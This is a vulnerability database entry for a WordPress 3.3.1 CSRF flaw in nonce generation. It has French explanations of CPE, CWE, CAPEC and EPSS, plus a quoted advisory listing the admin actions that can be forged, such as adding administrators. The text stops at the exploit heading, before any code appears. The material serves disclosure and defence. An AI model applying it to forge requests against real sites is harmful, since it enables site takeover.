CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.

The wp_create_nonce function in wp-includes/pluggable.php in WordPress 3.3.1 and earlier associates a nonce with a user account instead of a user session, which might make it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks on specific actions and objects by sniffing the network, as demonstrated by attacks against the wp-admin/admin-ajax.php and wp-admin/user-new.php scripts. NOTE: the vendor reportedly disputes the significance of this issue because wp_create_nonce operates as intended, even if it is arguably inconsistent with certain CSRF protection details advocated by external organizations
Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

3.1 CSRF (Change Post Title)
3.2 CSRF (Add Admin)
+---------------------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at
the same time."
2)Vulnerability Description
2.1 Multiple CSRF
Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add
administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom
header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin
browses a special crafted web page. May be other parameters can be modified.
This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce,
_wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are
not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user)
within 12 hour.
The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack.
For Owasp recommendation about anti-CSRF token, you can read the following document:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern
This problem affects the following operations:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator's email
- Change Wordpress Address
- Change Site Address
Other operations (like insert a new post) are not affected by this CSRF vulnerability.
In this Advisory I will only demonstrate how to change post title and how to add a new administrator account.
3)Exploit
3.1 CSRF (Change Post Title)
